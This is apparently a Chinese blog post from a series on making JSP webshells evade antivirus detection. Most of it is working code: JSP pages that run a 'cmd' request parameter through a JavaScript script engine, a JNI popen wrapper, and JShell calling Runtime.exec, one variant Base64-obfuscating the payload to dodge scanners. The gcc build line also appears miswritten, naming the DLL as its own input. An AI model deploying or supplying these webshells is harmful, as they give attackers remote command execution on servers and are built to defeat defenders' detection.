利用ScriptEngineManager可以执行js命令,但是由于一般情况下,即便能运行js代码也不一定能执行系统命令。因为一般情况下js执行系统命令主要是依靠两种方式,IE的ActiveX插件和node.js,然而ScriptEngineManager并非浏览器,很多内置函数都没有,导致很难执行系统命令。
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
String cmd = request.getParameter("cmd");
ScriptEngineManager mgr = new ScriptEngineManager();
ScriptEngine engine = mgr.getEngineByName("JavaScript");
String foo = cmd;
response.getWriter().println(engine.eval(foo));
%>
利用ScriptEngineManager可以执行python命令,想执行python代码的条件是目标机器存在python2的环境,不接安装了jython依赖,经过测试发现,利用jython并不能使用os.system,os.popen等命令执行函数,但一些文件操作还是可以利用的,以此很难利用
public static void runPythonScript() {
try (FileReader fr = new FileReader("test.py")) {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("python");
engine.eval(fr);
} catch (Exception ex) {
ex.printStackTrace();
}
}
由于生成dll可能会出现问题,浪费大家时间,这里直接给出源代码以及生成命令
Demo.h
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class naihe_Demo */#ifndef _Included_naihe_Demo
#define _Included_naihe_Demo
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: naihe_Demo
* Method: exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_naihe_Demo_exec
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
Demo.h生成:
javac Demo.java #编译成class文件
javah Demo #生成头文件
Demo.cpp
#include "stdlib.h"
#include "stdio.h"
#include <iostream>
#include <string.h>
#include "Java_Demo_exec.h"
#include "jni.h"JNIEXPORT jstring
JNICALL Java_Demo_exec(JNIEnv *env,jobject obj,jstring str){
const char *cmd = env->GetStringUTFChars(str, 0);
FILE *fd = popen(cmd, "r");
if (fd != NULL) {
char buf[1024];
char result[4096];
while (fgets(buf, sizeof(buf), fd) != NULL) {
strcat(result,buf);
}
return env->NewStringUTF(result);
}
return env->NewStringUTF("");
}
这里的Demo.cpp直接当模板改就行了
生成Dll:(注意路径)
gcc -Wl,--add-stdcall-alias -I"C:\Program Files (x86)\Java\jdk1.8.0_341\include" -I"C:\Program Files (x86)\Java\jdk1.8.0_341\include\win32" -shared -o Demo.dll Demo.dll
Demo.class
class Demo {
public Demo(){
System.load("C:\\Users\\12107\\Desktop\\免杀\\web\\src\\Naihe.dll");
}
public native String exec(String cms); public static void main(String[] args) {
System.out.println(new Demo().exec("whoami"));
}
}
按照正常套路,应该是直接移殖到jsp上,代码如下
<%
String cmd = request.getParameter("cmd");
class Demo {
public Demo(){
System.load("C:\\Users\\12107\\Desktop\\免杀\\web\\src\\Naihe.dll");
}
public native String exec(String cms);
}
response.getWriter().println(new Demo().exec(cmd));
%>
但发现并不能正常运行,通过分析发现原因还是在DLL上,由于在生成DLL时类的全限定名,已经写死了,导致在jsp中定义的类的全限定名与DLL中的不一致,导致无法正常运行。为了时全限定名一致,笔者使用字节码进行加载,但可惜的是,本地方法(native)并本来通过反射调用。最后得出结论,jni是无法作为webshell来执行命令的
由于Jshell是jdk9及以上版本才有的新功能,因此适用面不是特别广,但依旧值得一试。
<%@ page import="java.util.List" %>
<%@ page import="jdk.jshell.SnippetEvent" %>
<%
String cmd = request.getParameter("cmd");
List list = jdk.jshell.JShell.builder().build().eval("new String(Runtime.getRuntime().exec(\""+cmd+"\").getInputStream().readAllBytes())");
SnippetEvent snippetEvent = (SnippetEvent) list.get(0);
response.getWriter().println(snippetEvent.value());
%>
<%@ page import="java.util.List" %>
<%@ page import="jdk.jshell.SnippetEvent" %>
<%@ page import="java.util.Base64" %>
<%
String cmd = request.getParameter("cmd");
List list = jdk.jshell.JShell.builder().build().eval(new String(Base64.getDecoder().decode("bmV3IFN0cmluZyhSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCI=")) +cmd+ new String(Base64.getDecoder().decode("IikuZ2V0SW5wdXRTdHJlYW0oKS5yZWFkQWxsQnl0ZXMoKSk=")));
SnippetEvent snippetEvent = (SnippetEvent) list.get(0);
response.getWriter().println(snippetEvent.value());
%>
免杀效果:
总结:本文讲解了一下,利用一些不常用的api进行命令执行,达到免杀的效果,但是由于利用条件苛刻,在实战中不太容易用到,不过这也不是无意义的,说不定在你一筹莫展的时候会给你带来新的思路。
往期推荐
什么?你还不会webshell免杀?(八)
什么?你还不会webshell免杀?(七)
什么?你还不会webshell免杀?(六)
什么?你还不会webshell免杀?(五)
什么?你还不会webshell免杀?(四)
什么?你还不会webshell免杀?(三)
什么?你还不会webshell免杀?(二)